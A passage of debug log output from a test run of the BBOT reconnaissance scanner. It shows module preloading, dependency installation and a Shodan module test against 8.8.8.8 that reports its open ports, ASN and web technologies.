from cache -2026-02-27 22:18:18,802 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 22:18:18,803 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 22:18:18,804 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 22:18:18,805 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 22:18:18,806 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 22:18:18,807 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 22:18:18,808 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 22:18:18,809 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 22:18:18,810 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 22:18:18,812 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 22:18:18,813 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 22:18:18,814 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 22:18:18,816 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 22:18:18,817 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 22:18:18,818 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 22:18:18,819 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 22:18:18,819 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 22:18:18,821 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 22:18:18,821 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 22:18:18,822 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 22:18:18,824 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 22:18:18,825 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 22:18:18,826 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 22:18:18,827 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 22:18:18,828 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 22:18:18,829 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 22:18:18,831 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 22:18:18,833 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 22:18:18,834 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 22:18:18,835 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 22:18:18,836 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 22:18:18,837 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 22:18:18,838 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 22:18:18,839 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 22:18:18,840 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 22:18:18,841 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 22:18:19,034 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4508252816 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:18:19,034 [DEBUG] filelock _api.py:334 Lock 4508252816 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:18:19,037 [DEBUG] filelock _api.py:364 Attempting to release lock 4508252816 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:18:19,037 [DEBUG] filelock _api.py:367 Lock 4508252816 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:18:20,374 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:18:20,374 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:18:20,375 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 22:18:20,529 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 22:18:21,111 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 22:18:21,111 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 22:18:21,112 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 22:18:21,112 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 22:18:21,342 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 22:18:21,345 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 22:18:21,456 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 22:18:21,457 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 22:18:21,516 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 22:18:21,520 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 22:18:21,521 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 22:18:22,115 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 22:18:22,116 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 22:18:24,624 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 22:18:24,625 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 22:18:24,626 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 22:18:26,825 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 22:18:26,826 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 22:18:26,832 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:18:26,832 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 22:18:26,832 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:18:26,833 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 22:18:26,833 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:18:26,833 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 22:18:26,834 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 22:18:26,834 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 22:18:26,838 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/uyucrr9ml9c7bomu4mq3 -2026-02-27 22:18:27,773 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 22:18:27,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 22:18:27,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:18:27,775 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 22:18:27,776 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 22:18:27,916 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 22:18:27,917 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 22:18:27,917 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 22:18:27,919 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 22:18:27,919 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 22:18:27,920 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 22:18:27,920 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 22:18:27,921 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 22:18:27,921 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 22:18:27,922 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 22:18:27,922 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 22:18:27,923 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 22:18:27,923 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 22:18:27,923 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 22:18:27,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 22:18:27,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 22:18:27,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 22:18:27,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 22:18:27,924 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 22:18:27,924 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 22:18:27,924 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 22:18:27,925 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 22:18:27,925 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 22:18:27,925 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 22:18:27,925 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 22:18:27,926 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 22:18:27,926 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 22:18:27,926 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 22:18:27,926 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 22:18:27,926 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 22:18:27,926 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 22:18:27,927 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 22:18:27,927 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 22:18:27,927 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 22:18:27,927 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 22:18:27,927 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 22:18:27,928 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 22:18:27,928 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 22:18:27,928 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 22:18:27,928 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 22:18:27,928 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 22:18:27,929 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 22:18:27,929 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 22:18:27,929 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 22:18:27,929 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 22:18:28,075 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_dqhm1dppli -2026-02-27 22:18:28,076 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 22:18:28,189 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 22:18:28,190 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 22:18:28,190 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 22:18:28,192 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 22:18:28,292 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:18:28,293 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:18:28,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:18:28,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check -2026-02-27 22:18:28,296 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 22:18:28,297 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:18:28,298 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:18:28,298 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 22:18:28,299 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:18:28,300 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:18:28,300 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:18:28,301 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 22:18:28,302 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:18:28,303 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:18:28,303 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 22:18:28,310 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:18:28,311 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 22:18:28,311 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:18:28,312 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:18:28,312 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 22:18:28,313 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 22:18:28,313 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 22:18:28,313 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 22:18:28,314 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:18:28,316 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 22:18:28,421 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None -2026-02-27 22:18:28,424 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:18:28,425 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 22:18:28,426 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:18:28,427 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 22:18:28,427 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 22:18:28,428 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:18:28,428 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,430 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:18:28,430 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,431 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:18:28,431 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:18:28,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,433 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:18:28,433 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,435 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:18:28,435 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:18:28,435 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,436 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:18:28,436 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,437 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:18:28,437 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,438 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:18:28,438 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) passed post-check -2026-02-27 22:18:28,439 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) -2026-02-27 22:18:28,439 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,440 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:18:28,440 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:18:28,441 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:18:28,442 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,442 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:18:28,443 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:18:28,443 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,444 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) -2026-02-27 22:18:28,444 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:18:28,445 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:18:28,445 [DEBUG] bbot.modules.dnsresolve 